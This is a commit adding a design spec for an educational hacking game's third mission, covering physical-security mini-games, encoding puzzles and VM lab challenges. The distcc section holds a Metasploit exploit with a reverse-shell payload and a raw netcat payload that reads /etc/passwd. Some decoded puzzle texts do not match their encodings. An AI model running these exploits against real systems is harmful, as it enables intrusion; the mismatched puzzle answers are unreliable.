Complete Mission 3 Stage 0 technical challenges specification

Added comprehensive technical challenges breakdown (600+ lines):

Break Escape In-Game Challenges:

1. RFID Keycard Cloning (NEW MECHANIC)
   - Proximity-based (2 GU range, 10-second window)
   - Visual feedback: Progress bar, particle effects, audio cues
   - Success: Cloned keycard added to inventory
   - Alternative: Social engineering (victoria_trust >= 40)
   - Tutorial: Agent 0x99 pre-mission briefing
   - Educational: RFID vulnerabilities, proximity attacks
   - Implementation: Proximity detection, progress tracking, inventory integration

2. Lockpicking (Reinforced from M1-M2)
   - 4 locks: IT cabinet (easy), executive office (medium), security room (medium), safe (PIN)
   - Safe combo: 2010 (WhiteHat founding year)
   - Clues: Reception plaque, computer file
   - Skill reinforcement, no tutorial needed
   - Contains: LORE Fragment 2 (Exploit Catalog)

3. Guard Patrol Stealth (Reinforced from M2)
   - Night security guard, 4-waypoint patrol (60s loop)
   - LOS: 150px range, 120° cone
   - Detection states: Unaware → Alert → Suspicious → Hostile
   - Strategies: Timing-based stealth, social engineering, distraction
   - Educational: Operational security, pattern recognition

4. Social Engineering (Advanced)
   - Victoria Sterling: Influence system (50 start, 40+ for bypasses)
   - Trust unlocks: Office info (30+), server access (40+), double agent (80+)
   - James Park: Information extraction (office layout, schedules, security)
   - Night Guard: Cover story validation
   - Educational: Trust exploitation, corporate infiltration

5. Multi-Encoding Puzzle
   - Message 1: ROT13 whiteboard ("MEET WITH THE ARCHITECT...")
   - Message 2: Hex client list (Ransomware Inc, Critical Mass, Social Fabric)
   - Message 3: Base64 email (ProFTPD exploit pricing)
   - Message 4: Double-encoded USB (ROT13 + Base64 nested - Architect's directives)
   - Discovery: Conference room, Victoria's computer, email, desk drawer
   - Educational: Pattern recognition, multi-stage decoding, persistence
   - CAMPAIGN REVEAL: First direct Architect communication!

VM/SecGen Challenges (Information Gathering: Scanning):

1. Network Port Scanning
   - Tool: nmap
   - Target: 192.168.100.50
   - Output: Ports 21 (FTP), 22 (SSH), 80 (HTTP), 3632 (distcc)
   - Flag: flag{network_scan_complete}
   - Educational: Port scanning, service enumeration
   - Difficulty: Easy

2. Banner Grabbing (FTP)
   - Tool: netcat, ftp
   - Banner reveals: Client codename "GHOST" (M2 connection!)
   - Flag: flag{ftp_intel_gathered}
   - Educational: Intelligence from banners, netcat fundamentals
   - Difficulty: Easy

3. HTTP Service Analysis
   - HTML contains Base64 in comment
   - Encoded: ZmxhZ3twcmljaW5nX2ludGVsX2RlY29kZWR9
   - Decoded: flag{pricing_intel_decoded}
   - Educational: Web reconnaissance, Base64 (reinforced)
   - Connects: Victoria's pricing email
   - Difficulty: Medium

4. distcc Exploitation (CVE-2004-2687)
   - Vulnerability: distcc daemon RCE
   - Tools: Metasploit or manual exploitation
   - Shell access → operational logs
   - CRITICAL REVEAL: ProFTPD sold to Ghost for $12,500 (M2 hospital!)
   - Flag: flag{distcc_legacy_compromised}
   - Educational: Legacy exploitation, CVE research, RCE
   - Difficulty: Advanced

Challenge Integration Matrix:
- 9 challenges total (5 in-game, 4 VM)
- Difficulty: Easy → Advanced scaling
- Educational: NSS, SS, ACS, SOC, HF, AB knowledge areas
- Unlocks: Server access, intel, LORE, M2 connection, Architect reveal

Difficulty Scaling:
- Easy: 5s RFID, slower guard, tutorial VM
- Normal: 10s RFID, standard guard, all encoding types
- Hard: 15s RFID, fast guard, additional obfuscation

Educational Assessment Rubric:
✅ Network reconnaissance (port scanning, service enumeration)
✅ Service exploitation (distcc CVE-2004-2687, Metasploit)
✅ Encoding analysis (ROT13, Hex, Base64, nested decoding)
✅ Intelligence correlation (physical + digital evidence)
✅ Physical security (RFID, lockpicking, stealth, social engineering)

Implementation Priority:
- Phase 1: RFID, guard, VM challenges, drop-site integration
- Phase 2: Social engineering, encoding puzzle, LORE, safe
- Phase 3: Tutorials, scaling, alternative paths, feedback

Status: Stage 0 technical challenges COMPLETE ✅
Next: narrative_themes.md, hybrid_architecture_plan.md

planning_notes/overall_story_plan/mission_initializations/m03_ghost_in_the_machine/stages/stage_0/technical_challenges.md

@@ -0,0 +1,812 @@
+# Mission 3: Technical Challenges Detailed Breakdown
+
+**Mission:** Ghost in the Machine
+**Stage:** 0 - Scenario Initialization
+**Document:** Technical Challenges Specification
+**Date:** 2025-12-24
+
+---
+
+## Overview
+
+This document provides detailed specifications for all technical challenges in Mission 3, covering both Break Escape in-game mechanics and VM/SecGen challenges. Each challenge includes implementation details, educational objectives, difficulty scaling, and integration with the hybrid architecture.
+
+---
+
+## Break Escape In-Game Challenges
+
+### Challenge 1: RFID Keycard Cloning (NEW MECHANIC)
+
+#### Specification
+
+**Challenge Type:** Physical Security Bypass
+**Difficulty:** Intermediate
+**Required Equipment:** RFID Cloner Device (provided by SAFETYNET)
+**Target:** Victoria Sterling's executive keycard
+
+#### Mechanic Details
+
+**Cloning Method: Proximity-Based**
+- **Activation:** Player equips RFID cloner device from inventory
+- **Range:** 2 Game Units (GU) proximity to Victoria Sterling
+- **Duration:** 10-second uninterrupted clone window
+- **Visual Feedback:**
+  - Progress bar overlay (0-100% over 10 seconds)
+  - On-screen message: "Cloning RFID signature... X%"
+  - Particle effect around Victoria's keycard (subtle blue glow)
+  - Audio cue: Low electronic beeping during cloning
+
+**Success Conditions:**
+- Remain within 2 GU of Victoria for full 10 seconds
+- Victoria doesn't move out of range
+- Player not interrupted by guard patrol
+- Victoria doesn't detect player behavior (suspicion mechanic)
+
+**Failure Conditions:**
+- Player moves out of range before 10 seconds complete
+- Victoria moves away (normal walking behavior)
+- Guard enters room and detects suspicious behavior
+- Victoria's suspicion exceeds threshold (if implemented)
+
+**Result:**
+- Success: `victoria_keycard_clone` item added to inventory
+- Failure: Must retry (no penalty, can attempt multiple times)
+
+**Alternative Path: Social Engineering**
+- If `victoria_trust >= 40`, Victoria grants server room access willingly
+- Dialogue option: "I'd like to see your training infrastructure firsthand"
+- Victoria: "Of course! Here's a temporary access card for our server room."
+- Bypasses RFID cloning entirely (social engineering path)
+
+#### Tutorial Integration
+
+**Agent 0x99 Pre-Mission Briefing:**
+> "Here's an RFID cloner. When you meet Victoria Sterling, stay close to her during conversation. The cloner has a 2-meter range. It'll take about 10 seconds to copy her keycard signature. Watch for the progress indicator. If she walks away, you'll need to re-engage.
+>
+> Alternatively, if you can build enough trust, she might grant you access voluntarily. Your call."
+
+**First-Time Use Prompt:**
+- On-screen: "Hold SPACE to activate RFID Cloner"
+- Tutorial overlay: "Stay within range (2 GU) for 10 seconds"
+- Progress bar appears with countdown timer
+
+**Educational Context:**
+- Teaches RFID security vulnerabilities
+- Demonstrates proximity-based attacks
+- Shows physical security bypass techniques
+- Real-world relevance: Hotel room keycards, office access badges
+
+#### Implementation Notes
+
+**Technical Requirements:**
+- Proximity detection system (check distance every tick)
+- Progress tracking (accumulate time in range, reset if broken)
+- Visual feedback system (progress bar, particle effects)
+- Audio feedback (beeping during clone, success chime)
+- Inventory integration (add cloned card item)
+- Door unlock integration (cloned card works on server room RFID reader)
+
+**Edge Cases:**
+- What if player saves/loads during cloning? Reset progress
+- What if Victoria is in conversation with another NPC? Cloning still possible
+- What if guard sees cloning animation? Count as suspicious behavior
+- What if player attempts to clone multiple times? Allow unlimited retries
+
+**Difficulty Scaling:**
+- Easy Mode: 5-second clone window, 3 GU range
+- Normal Mode: 10-second clone window, 2 GU range
+- Hard Mode: 15-second clone window, 1.5 GU range, Victoria moves more frequently
+
+---
+
+### Challenge 2: Lockpicking (Reinforced from M1-M2)
+
+#### Locks in Mission 3
+
+**Lock 1: IT Filing Cabinet**
+- **Difficulty:** Easy
+- **Location:** IT office (daytime accessible)
+- **Contains:** Client list documents, password sticky notes
+- **Educational:** Reinforces lockpicking from M1
+- **Tutorial:** Brief reminder if player hasn't lockpicked recently
+
+**Lock 2: Executive Office Door**
+- **Difficulty:** Medium
+- **Location:** Executive hallway (nighttime only)
+- **Unlocks:** Access to Victoria Sterling's workspace
+- **Contains:** Safe, computer with encoded files, whiteboard
+- **Alternative:** Victoria grants access if trust >= 40 (social engineering)
+
+**Lock 3: Security Room Door**
+- **Difficulty:** Medium
+- **Location:** Security hallway (nighttime only)
+- **Unlocks:** Backup server room keycard (alternative to RFID cloning)
+- **Contains:** Security logs, backup keycard
+- **Purpose:** Fail-safe if RFID cloning unsuccessful
+
+**Lock 4: Executive Safe**
+- **Difficulty:** PIN-based (not lockpicking)
+- **Location:** Victoria's office
+- **Combination:** 2010 (WhiteHat Security founding year)
+- **Clues:**
+  - Reception plaque: "WhiteHat Security Services - Founded 2010"
+  - Computer file: "Safe combo in founding year"
+- **Contains:** LORE Fragment 2 (Exploit Catalog)
+
+#### Lockpicking Progression
+
+**Skill Reinforcement:**
+- Players should be comfortable with lockpicking by M3
+- No tutorial needed unless player skipped M1-M2
+- Medium difficulty introduces timing complexity
+- Success builds confidence for future missions
+
+**Failure Consequences:**
+- Failed lockpick: No penalty, can retry
+- Detected by guard while lockpicking: Mission risk (stealth challenge)
+- Breaking lockpick: Not implemented (player frustration mitigation)
+
+---
+
+### Challenge 3: Guard Patrol Stealth (Reinforced from M2)
+
+#### Guard Specification
+
+**Guard Profile:**
+- **Name:** Night Security Guard
+- **Patrol Route:** Hallway circuit (4 waypoints)
+- **Behavior:** Methodical, predictable, professional
+- **Detection:** Line-of-sight (LOS) based
+
+**Patrol Route:**
+```
+Waypoint 1: (5, 2) Reception entrance - 15-tick pause
+     ↓ (30 ticks travel)
+Waypoint 2: (15, 2) Executive hallway - 15-tick pause
+     ↓ (30 ticks travel)
+Waypoint 3: (25, 2) Server room hallway - 20-tick pause
+     ↓ (30 ticks travel)
+Waypoint 4: (15, 8) IT hallway - 15-tick pause
+     ↓ (30 ticks travel)
+Loop back to Waypoint 1
+
+Total Loop Time: ~180 ticks (~60 seconds at 3 ticks/second)
+```
+
+**Line of Sight:**
+- **Range:** 150 pixels (~7.5 GU)
+- **Angle:** 120° cone in facing direction
+- **Visualize:** Red cone overlay (debug mode), subtle tension effect (gameplay)
+
+**Detection States:**
+1. **Unaware (0%):** Normal patrol
+2. **Alert (1-50%):** "Did I see something?" - Pauses, looks around
+3. **Suspicious (51-90%):** "Who's there?" - Investigates last known position
+4. **Hostile (91-100%):** "INTRUDER!" - Calls backup, mission risk
+
+**Player Detected Consequences:**
+- First detection: Guard questions player
+  - Player can use cover story (social engineering check)
+  - Player can flee (restart stealth)
+  - Player can bribe (if implemented)
+- Second detection: Guard calls backup
+  - Mission risk increases
+  - Timer starts (5 minutes to complete mission)
+- Third detection: Mission failed
+  - "Security breach detected. Extraction aborted."
+
+#### Stealth Strategies
+
+**Strategy 1: Timing-Based Stealth (Recommended)**
+- Observe guard patrol pattern
+- Wait for guard to patrol away from target area
+- Move during guard's pause at far waypoint
+- Use 15-20 tick windows for quick actions (lockpicking, computer access)
+
+**Strategy 2: Social Engineering**
+- High influence with Victoria: Guard informed player is authorized
+- Guard: "Ms. Sterling mentioned you'd be here. Carry on."
+- Bypasses stealth challenge entirely
+
+**Strategy 3: Distraction (Not Implemented in M3)**
+- Reserved for future missions
+- Could involve triggering alarms elsewhere, throwing objects, etc.
+
+**Educational Objective:**
+- Teaches operational security awareness
+- Pattern recognition (guard patrol timing)
+- Risk assessment (when to move vs. wait)
+- Reinforces patience and observation
+
+---
+
+### Challenge 4: Social Engineering (Advanced)
+
+#### NPC Targets
+
+**Victoria Sterling (Primary Target)**
+
+**Influence System:**
+- **Starting Influence:** 50 (neutral - potential client)
+- **Trust Threshold:** 40+ for alternative paths
+- **Max Influence:** 100
+
+**Influence Modifiers:**
+| Dialogue Choice | Influence Change |
+|----------------|------------------|
+| "I'm impressed by your security methodology" | +10 |
+| "What makes WhiteHat different from competitors?" | +5 |
+| "I've researched your vulnerability disclosure process" | +15 |
+| "I need to see your infrastructure firsthand" | -5 (suspicious) |
+| "Your prices seem high compared to industry standard" | -10 |
+| Demonstrate technical knowledge | +10 |
+| Ask suspicious questions | -15 |
+
+**Trust-Based Unlocks:**
+- **Trust >= 30:** Victoria shares office layout information
+- **Trust >= 40:** Victoria grants server room access (skip RFID cloning)
+- **Trust >= 60:** Victoria hints at "special clients" (criminal intel)
+- **Trust >= 80:** Victoria offers to recruit player (double agent reveal)
+
+**James Park (Secondary Target)**
+
+**Role:** Information source, innocent employee
+**Influence System:** Basic (0-100, starts at 30)
+
+**Information Extraction:**
+| Topic | Influence Required | Information Gained |
+|-------|-------------------|-------------------|
+| Office layout | 20+ | Map of rooms and departments |
+| Victoria's schedule | 40+ | "She usually leaves by 6 PM" |
+| Security procedures | 50+ | Guard patrol timing, keycard access |
+| Server room location | 30+ | "Third floor, east wing" |
+| Client information | 60+ | "We work with some high-profile clients..." |
+
+**Innocent Employee Dynamic:**
+- James genuinely believes WhiteHat is legitimate
+- Building trust provides intel but creates moral complexity
+- If player exposes firm, James faces consequences
+- Influences "protect James" moral choice later
+
+**Night Security Guard (Tertiary Target)**
+
+**Cover Story Validation:**
+- If detected, guard challenges player
+- Social engineering check (influence-based)
+
+**Guard Dialogue:**
+> "Hold on. This area is restricted after hours. Who are you?"
+
+**Player Options:**
+1. **"I'm working late with Ms. Sterling's authorization"** (victoria_trust >= 40 required)
+   - Guard: "Let me verify..." [Calls Victoria]
+   - If Victoria vouches: "Alright, carry on. Just stay in authorized areas."
+   - If Victoria doesn't vouch: Mission risk
+2. **"I'm a consultant doing a security audit"** (Influence check >= 25)
+   - Success: Guard believes cover story temporarily
+   - Failure: Guard suspicious, calls supervisor
+3. **"Sorry, I got lost looking for the bathroom"** (Weak excuse, -20 influence)
+   - Guard: "Bathrooms are downstairs. I'll escort you."
+   - Forced to leave area, must re-infiltrate
+4. **Run away** (Stealth challenge failed)
+   - Guard calls backup, mission timer starts
+
+**Educational Objective:**
+- Social engineering tactics (trust building, cover stories)
+- Manipulation vs. deception ethics
+- Corporate environment infiltration
+- Real-world phishing/pretexting parallels
+
+---
+
+### Challenge 5: Multi-Encoding Puzzle
+
+#### Encoded Messages in Mission 3
+
+**Message 1: ROT13 Whiteboard**
+
+**Location:** Conference room whiteboard (photographable)
+**Difficulty:** Easy
+**Encoding:** ROT13
+
+**Encoded Text:**
+```
+ZRRG JVGU GUR NEPUVGRPG - CEVBEVGVMR VASENFGEHPGHER RKCYBVGF
+```
+
+**Decoded Text:**
+```
+MEET WITH THE ARCHITECT - PRIORITIZE INFRASTRUCTURE EXPLOITS
+```
+
+**Discovery Method:**
+- Visible during daytime reconnaissance
+- Can photograph with in-game camera
+- Player decodes using CyberChef workstation (server room)
+
+**Educational Value:**
+- Introduces ROT13 (classic Caesar cipher)
+- Pattern recognition: All caps, English-looking text
+- Teaches: Encoding vs. encryption distinction
+
+---
+
+**Message 2: Hex-Encoded Client List**
+
+**Location:** Victoria's computer (executive office)
+**Difficulty:** Medium
+**Encoding:** Hexadecimal
+
+**Encoded Text:**
+```
+5a45524f20444159205359 4e44494341544520434c49454e5420524f53544552
+
+434c49454e54533a
+52616e736f6d7761726520496e636f72706f7261746564
+437269746963616c204d617373
+536f6369616c204661627269
+```
+
+**Decoded Text:**
+```
+ZERO DAY SYNDICATE CLIENT ROSTER
+
+CLIENTS:
+Ransomware Incorporated
+Critical Mass
+Social Fabric
+```
+
+**Discovery Method:**
+- Access Victoria's computer (requires executive office access)
+- File named "CLIENT_LIST.txt" (hex content)
+- Player copies hex, decodes at CyberChef
+
+**Educational Value:**
+- Hexadecimal encoding fundamentals
+- ASCII to hex conversion understanding
+- Pattern recognition: 2-character hex pairs (4E, 20, etc.)
+
+---
+
+**Message 3: Base64 Email Draft**
+
+**Location:** Victoria's email client (computer)
+**Difficulty:** Medium
+**Encoding:** Base64
+
+**Encoded Text:**
+```
+RnJvbTogVmljdG9yaWEgU3RlcmxpbmcKVG86IENpcGhlcgpTdWJqZWN0OiBRMyBQcmljaW5nIFVwZGF0ZQoKQ2lwaGVyLAoKUTMgZXhwbG9pdCBwcmljaW5nIHVwZGF0ZWQ6CgpDUklUSUNBTDogJDM1LDAwMCBiYXNlCkhJR0g6ICQxOCwwMDAgYmFzZQpNRURJVU06ICQ3LDUwMCBiYXNlCgpIZWFsdGhjYXJlIHByZW1pdW06ICszMCUKRW5lcmd5IHNlY3RvcjogKzQwJQoKUHJvRlRQRCBleHBsb2l0IHNvbGQgdG8gUmFuc29td2FyZSBJbmMgZm9yICQxMiw1MDAgKGhlYWx0aGNhcmUgcHJlbWl1bSkuCgotIFZpY3Rvcmlh
+```
+
+**Decoded Text:**
+```
+From: Victoria Sterling
+To: Cipher
+Subject: Q3 Pricing Update
+
+Cipher,
+
+Q3 exploit pricing updated:
+
+CRITICAL: $35,000 base
+HIGH: $18,000 base
+MEDIUM: $7,500 base
+
+Healthcare premium: +30%
+Energy sector: +40%
+
+ProFTPD exploit sold to Ransomware Inc for $12,500 (healthcare premium).
+
+- Victoria
+```
+
+**Discovery Method:**
+- Drafts folder in Victoria's email client
+- Player copies Base64 string
+- Decodes at CyberChef workstation
+
+**Educational Value:**
+- Base64 encoding (reinforced from M2)
+- Email forensics
+- Intelligence gathering from communications
+- **CRITICAL REVEAL:** ProFTPD exploit sold to Ransomware Inc (M2 connection!)
+
+---
+
+**Message 4: Double-Encoded USB Drive**
+
+**Location:** Hidden USB drive in Victoria's desk drawer (lockpick required)
+**Difficulty:** Advanced
+**Encoding:** ROT13 + Base64 (nested)
+
+**Encoded Text (Layer 1 - Base64):**
+```
+R2VhejogR3VyIE5lcHV2Z3JwZydmIEVldmpyZXZpcnJmCgpQdW5ndWUsIFJhbmdlcmUgZXJzY2ViZ2VndnJhIGN5YnZiZXZndnJmIHNiZSBNMjoKCjEuIFZBU0VORkhHRVBHSFVSIFJLQ0dCV0dGIChDRVZCRVZHTCkKICAgU2JwaCZmdCBiYSBhcnJnYXBuZXIgZnJwZ2J5IEZQTlFOIGZsZmdyemYKICAgUmFyeXRsIHR5dnEgVlBGIGlocGFyZW9uYXZnbHZyZgoKMi4gUEVCRkYtUFJZWSBQQkJFUVZBTkdWQkEKICAgQ2ViaXZxciBFbmFmYmJ6bmpyZSBWYXAgamdudiBhcm5ndWFwbmVyIGdjZ3lidmdmCiAgIEZicHZueSBTbm9ldnAgamdjZ3lidmdnIGVicmd5bnZhZyBuYXEgcmFyeXRsIGhndnl2Z2xyZg==
+```
+
+**Decoded Text (Layer 1 - Base64 to ROT13):**
+```
+Trne: Gur Nepuvgrpg'f Qverpgvirf
+
+Pvcure, Sbegure rkcybvgngvba cevbevgvrf sbe M2:
+
+1. VASENFGEHPGHER RKCYBVGF (CEVBEVGL)
+   Sbphf ba urnygupher frpgbe FPNQN flfgrzf
+   Raretl tevq VPF ihyarenov
+yvgvrf
+
+2. PEBFF-PRYY PBBOPVARQVBA
+   Cebivqr Enasbzjner Vap jvgu ubfcvgny gnetrgarq rpbabzl cnpxntrf
+
+3. BIRENAGVBANY FRPHEVGL
+   JuvgrUng Frphevgl sebag zhfg eranva pbaivaprq
+   Ivpgbevn Fgreyvat nhgubevmrq gb erpehvg qbhoyr ntragf
+
+- Gur Nepuvgrpg
+```
+
+**Decoded Text (Layer 2 - ROT13 to Plaintext):**
+```
+From: The Architect's Directives
+
+Cipher, Future exploitation priorities for Q4:
+
+1. INFRASTRUCTURE EXPLOITS (PRIORITY)
+   Focus on healthcare sector SCADA systems
+   Energy grid ICS vulnerabilities
+
+2. CROSS-CELL COORDINATION
+   Provide Ransomware Inc with hospital targeted economy packages
+
+3. OPERATIONAL SECURITY
+   WhiteHat Security front must remain convinced
+   Victoria Sterling authorized to recruit double agents
+
+- The Architect
+```
+
+**Discovery Method:**
+1. Lockpick Victoria's desk drawer (executive office)
+2. Find hidden USB drive
+3. Insert USB into computer
+4. File contains Base64 string
+5. Decode Base64 → reveals ROT13 text
+6. Decode ROT13 → reveals plaintext
+
+**Educational Value:**
+- Multi-stage decoding (critical thinking)
+- Nested encoding patterns
+- Advanced CyberChef workflows
+- Persistence in cryptanalysis
+- **CAMPAIGN REVEAL:** First direct communication from The Architect!
+
+---
+
+## VM/SecGen Challenges
+
+### SecGen Scenario: "Information Gathering: Scanning"
+
+**Network:** 192.168.100.0/24 (Zero Day training network)
+**Target Host:** 192.168.100.50
+**Services:** FTP (21), SSH (22), HTTP (80), distcc (3632)
+
+---
+
+### VM Challenge 1: Network Port Scanning
+
+**Objective:** Scan Zero Day's training network to identify open ports and services
+
+**Tools:** nmap
+
+**Command Examples:**
+```bash
+# Basic scan
+nmap 192.168.100.50
+
+# Service version detection
+nmap -sV 192.168.100.50
+
+# Full scan with OS detection
+nmap -A 192.168.100.50
+
+# Scan entire subnet
+nmap 192.168.100.0/24
+```
+
+**Expected Output:**
+```
+Starting Nmap 7.80 ( https://nmap.org )
+Nmap scan report for 192.168.100.50
+Host is up (0.00045s latency).
+Not shown: 996 closed ports
+PORT     STATE SERVICE     VERSION
+21/tcp   open  ftp         vsftpd 3.0.3
+22/tcp   open  ssh         OpenSSH 7.4
+80/tcp   open  http        Apache httpd 2.4.6
+3632/tcp open  distcc      distccd v1
+
+Nmap done: 1 IP address (1 host up) scanned in 2.43 seconds
+```
+
+**Flag:** `flag{network_scan_complete}`
+
+**Submission:** Drop-site terminal in server room
+
+**Educational Objectives:**
+- Understand port scanning fundamentals
+- Identify common port numbers (21=FTP, 22=SSH, 80=HTTP)
+- Service version detection with -sV flag
+- Network mapping methodology
+
+**In-Game Integration:**
+- Agent 0x99 tutorial: "Start with nmap to map the network. Look for open ports and service versions."
+- Drop-site terminal displays simplified nmap results with annotations
+- Flag submission unlocks server room workstation access
+
+**Difficulty:** Easy
+
+---
+
+### VM Challenge 2: Banner Grabbing (FTP Service)
+
+**Objective:** Connect to FTP service and extract intelligence from banner
+
+**Tools:** netcat (nc), ftp
+
+**Command:**
+```bash
+# Netcat banner grab
+nc 192.168.100.50 21
+
+# Or using FTP client
+ftp 192.168.100.50
+```
+
+**Banner Output:**
+```
+220 (vsFTPd 3.0.3)
+220 Zero Day Syndicate Training Network
+220 INTEL: Client codename "GHOST" - Last connection 2024-05-15
+220 flag{ftp_intel_gathered}
+```
+
+**Flag:** `flag{ftp_intel_gathered}`
+
+**Submission:** Drop-site terminal
+
+**Educational Objectives:**
+- Banner grabbing for intelligence gathering
+- FTP service enumeration
+- Information leakage from service banners
+- Netcat fundamentals
+
+**In-Game Integration:**
+- Banner text reveals client codename "GHOST" (M2 antagonist!)
+- Connects to Ransomware Incorporated
+- Unlocks client codename list document in-game
+
+**Difficulty:** Easy
+
+---
+
+### VM Challenge 3: HTTP Service Analysis + Base64 Decoding
+
+**Objective:** Analyze HTTP service and decode Base64-encoded flag in HTML
+
+**Tools:** curl, wget, browser, base64
+
+**Command:**
+```bash
+# Fetch HTTP page
+curl http://192.168.100.50
+
+# Or view source in browser
+wget -O - http://192.168.100.50
+```
+
+**HTML Output:**
+```html
+<!DOCTYPE html>
+<html>
+<head><title>WhiteHat Security Services</title></head>
+<body>
+<h1>Training Network - Authorized Personnel Only</h1>
+<p>Welcome to the Zero Day Syndicate training environment.</p>
+
+<!-- Pricing Intel (Encoded): ZmxhZ3twcmljaW5nX2ludGVsX2RlY29kZWR9 -->
+
+<p>Contact admin@whitehat-sec.local for access.</p>
+</body>
+</html>
+```
+
+**Decoding:**
+```bash
+echo "ZmxhZ3twcmljaW5nX2ludGVsX2RlY29kZWR9" | base64 -d
+# Output: flag{pricing_intel_decoded}
+```
+
+**Flag:** `flag{pricing_intel_decoded}`
+
+**Submission:** Drop-site terminal
+
+**Educational Objectives:**
+- HTTP service analysis
+- HTML source code examination
+- Base64 decoding (reinforced from M2)
+- Hidden data in web services
+
+**In-Game Integration:**
+- Decoded flag reveals pricing intelligence
+- Connects to Victoria's email about exploit pricing
+- Unlocks exploit catalog LORE fragment
+
+**Difficulty:** Medium
+
+---
+
+### VM Challenge 4: distcc Exploitation (CVE-2004-2687)
+
+**Objective:** Exploit distcc vulnerability to gain shell access and find operational logs
+
+**Vulnerability:** distcc daemon RCE (CVE-2004-2687)
+**Tools:** Metasploit, manual exploitation
+
+**Method 1: Metasploit**
+```bash
+msfconsole
+use exploit/unix/misc/distcc_exec
+set RHOSTS 192.168.100.50
+set RPORT 3632
+set PAYLOAD cmd/unix/reverse
+set LHOST [your IP]
+set LPORT 4444
+exploit
+```
+
+**Method 2: Manual Exploitation**
+```bash
+# distcc allows arbitrary command execution
+nc 192.168.100.50 3632
+DIST00000001ARGC00000002ARGV00000006/bin/shARGV0000000D-c
+ARGV00000015id; cat /etc/passwd
+```
+
+**Shell Access:**
+```bash
+# Once shell obtained
+cd /var/logs/zeroday
+cat operational_log.txt
+
+# Contents reveal:
+# ProFTPD exploit (CVE-2010-4652) sold to Ransomware Incorporated
+# Client: "Ghost" - St. Catherine's Hospital target
+# Payment: $12,500 (healthcare sector premium)
+# flag{distcc_legacy_compromised}
+```
+
+**Flag:** `flag{distcc_legacy_compromised}`
+
+**Submission:** Drop-site terminal
+
+**Educational Objectives:**
+- Legacy service exploitation
+- CVE research and exploitation
+- Remote code execution techniques
+- Metasploit framework usage
+- Post-exploitation enumeration
+
+**In-Game Integration:**
+- **CRITICAL REVEAL:** Operational logs show M2 hospital attack connection!
+- Player discovers: "Zero Day sold the exploit used in Mission 2!"
+- Unlocks "aha moment" dialogue with Agent 0x99
+- Sets up closing debrief revelation
+
+**Difficulty:** Advanced
+
+---
+
+## Challenge Integration Matrix
+
+| Challenge | Type | Difficulty | Unlocks | Educational Focus |
+|-----------|------|------------|---------|-------------------|
+| RFID Cloning | In-Game | Intermediate | Server room access | Physical security, proximity attacks |
+| Lockpicking | In-Game | Easy-Medium | Executive office, safe | Physical security (reinforced) |
+| Guard Stealth | In-Game | Medium | Undetected infiltration | Operational security, timing |
+| Social Engineering | In-Game | Intermediate | Alternative paths, intel | Trust exploitation, cover stories |
+| Multi-Encoding | In-Game | Medium-Advanced | LORE fragments, intel | ROT13, Hex, Base64, nested decoding |
+| Network Scanning | VM | Easy | Network map, access | Port scanning, service enumeration |
+| Banner Grabbing | VM | Easy | Client codenames | Intelligence gathering, netcat |
+| HTTP Analysis | VM | Medium | Pricing intel | Web reconnaissance, Base64 |
+| distcc Exploit | VM | Advanced | M2 connection reveal | Legacy exploitation, RCE, CVE research |
+
+---
+
+## Difficulty Scaling Options
+
+### Easy Mode
+- RFID clone: 5 seconds, 3 GU range
+- Guard patrol: Slower, 200px LOS
+- Lockpicking: Easier timing windows
+- Encoding: ROT13 and Base64 only (skip Hex, nested encoding)
+- VM: Tutorial mode with guided commands
+
+### Normal Mode (Default)
+- RFID clone: 10 seconds, 2 GU range
+- Guard patrol: Standard (60s loop, 150px LOS)
+- Lockpicking: Medium difficulty
+- Encoding: All types including nested
+- VM: Standard challenges
+
+### Hard Mode
+- RFID clone: 15 seconds, 1.5 GU range, Victoria moves more
+- Guard patrol: Faster, 120px LOS, erratic timing
+- Lockpicking: Harder timing, limited lockpicks
+- Encoding: Additional obfuscation layers
+- VM: No hints, advanced exploitation required
+
+---
+
+## Educational Assessment Rubric
+
+**Network Reconnaissance (NSS):**
+- ✅ Can explain purpose of port scanning
+- ✅ Identifies common ports (21, 22, 80, 3632)
+- ✅ Understands service enumeration via banners
+- ✅ Applies nmap for network mapping
+
+**Service Exploitation (SS):**
+- ✅ Recognizes legacy service vulnerabilities
+- ✅ Researches CVEs (CVE-2004-2687)
+- ✅ Applies exploitation tools (Metasploit)
+- ✅ Conducts post-exploitation enumeration
+
+**Encoding Analysis (ACS):**
+- ✅ Distinguishes ROT13, Hex, Base64
+- ✅ Decodes multi-stage nested encoding
+- ✅ Recognizes encoding patterns
+- ✅ Uses CyberChef effectively
+
+**Intelligence Correlation (SOC):**
+- ✅ Combines physical + digital evidence
+- ✅ Recognizes patterns across data sources
+- ✅ Correlates M2 connection (ProFTPD exploit sale)
+- ✅ Systematic investigation approach
+
+**Physical Security (General):**
+- ✅ Understands RFID vulnerabilities
+- ✅ Lockpicking techniques (reinforced)
+- ✅ Stealth and timing awareness
+- ✅ Social engineering for bypass
+
+---
+
+## Implementation Priority
+
+**Phase 1 (Critical Path):**
+1. RFID cloning mechanics (new system)
+2. Guard patrol integration (reinforced from M2)
+3. VM challenges (network scan, banner grab, distcc)
+4. Drop-site terminal integration
+
+**Phase 2 (Enhanced Experience):**
+5. Social engineering paths (Victoria trust system)
+6. Multi-encoding puzzle (CyberChef integration)
+7. LORE fragment placement
+8. Safe PIN puzzle (2010 clue system)
+
+**Phase 3 (Polish):**
+9. Tutorial overlays (RFID, network scan)
+10. Difficulty scaling options
+11. Alternative path balancing
+12. Educational feedback system
+
+---
+
+**Document Status:** ✅ COMPLETE
+**Next Document:** narrative_themes.md
+**Integration:** Ready for Stage 1 (Narrative Structure)
+
+---